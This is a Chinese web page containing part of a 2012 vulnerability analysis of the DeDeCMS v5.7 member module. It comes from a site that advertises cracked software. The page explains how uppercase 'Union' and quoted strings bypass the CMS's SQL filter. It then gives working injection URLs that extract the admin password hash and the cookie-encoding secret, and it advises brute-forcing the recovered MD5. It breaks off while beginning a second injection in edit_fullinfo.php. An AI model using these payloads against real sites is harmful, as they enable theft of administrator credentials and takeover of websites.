免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 网站相关 > 网站安全 > DeDeCMS v5.7 member漏洞分析(2)

DeDeCMS v5.7 member漏洞分析(2)

时间:2012-04-12 20:32来源:未知 整理:寂涯网络 点击:


elseif        (strpos($clean,         'sleep')         !==        FALSE        &&
preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
...(略)
//老版本的 MYSQL 不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来
查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{...(略)}
if (!empty($fail))
{//存在限制的 Sql 关键字,写日志文件$log_file,输出“Safe Alert: Request Error
step 2!”
 
 
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font     size='5'    color='red'>Safe     Alert:    Request    Error    step
2!</font>");
}
else
{//⑦不存在限制的 Sql 关键字,返回$db_string 字符串
return $db_string;
}
 
语句①使用正则表达式过滤 Sql 关键字,但是因为没有参数“i”,导致可以使用大写绕
过,比如“Union”等,While 循环实现将字符串(Sql 语句)中转义单引号之间的字符转为
“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含 Sql 关键字的
文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。构造 membergroup 变量值为“@`'` Union select pwd from `%23@  admin` where 1 or id=@`'`”,注意:1)“Union”不能全为小写“union”,2)前后使用“@`'`”。 当变量提交后,Sql 语句成为“SELECT groupname FROM #@  member_group WHERE mid = 8
AND id=@`\'` Union select pwd from `%23@  admin` where 1 or id=@`\'`”,mid 为当 前用户 id,首先大写 Union 绕过防注入语句①,然后防注入会将“\'”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键 字!在 CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的 Sql 语句以及注 入结果如图 1。
…(略)
echo "原字符串:".$db_string."<br>";
//完整的 SQL 检查
while (TRUE)
{
…(略)
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '),
$clean)));
echo "转换以后:".$clean."<br>";
…(略)
图1
这里注出的是 substr(md5($this->userPwd), 5, 20)值,我们可以去掉前三位和最后
一位,成为 16 位 MD5 码,如“7a57a5a743894a0e”,再进行爆破。常用的注入链接如下:
 
注入管理员密码:
 
http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`'`           Union select pwd from `%23@__admin` where 1 or id=@`'`
// 如果存在多个管理员时,可以将 where 条件改为“ id=1 or id=@`'` ”或
“userid=0x61646D696E or id=@`'`”
注入$cfg_cookie_encode
http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`'`           Union select value from `%23@  sysconfig` where aid=3 or aid=@`'`
// 在获得 $cfg_cookie_encode 后,我 们可 以直接利用 漏洞二 。另外在
“/data/'.md5($cfg_cookie_encode).'_safe.txt'”文件中记录着注入痕迹。
 
漏洞二:/member/edit_fullinfo.php 页面,即更改详细资料页面(系统设置>>个人资料),
如图 2,要求登陆用户。
 
图2
该页面中$inadd_f 变量没有过滤导致注入,代码如下:

 
if($dopost=='save'){ //这里完成详细内容填写
...(略)
if(!empty($dede_fields))
{
if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode))
{ howMsg('数据校验不对,程序返回',  '-1');

本页地址 http://www.jybase.net/wangzhananquan/20120412823.html

百度搜索更多

谷歌搜索更多

顶一下
(2)
100%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com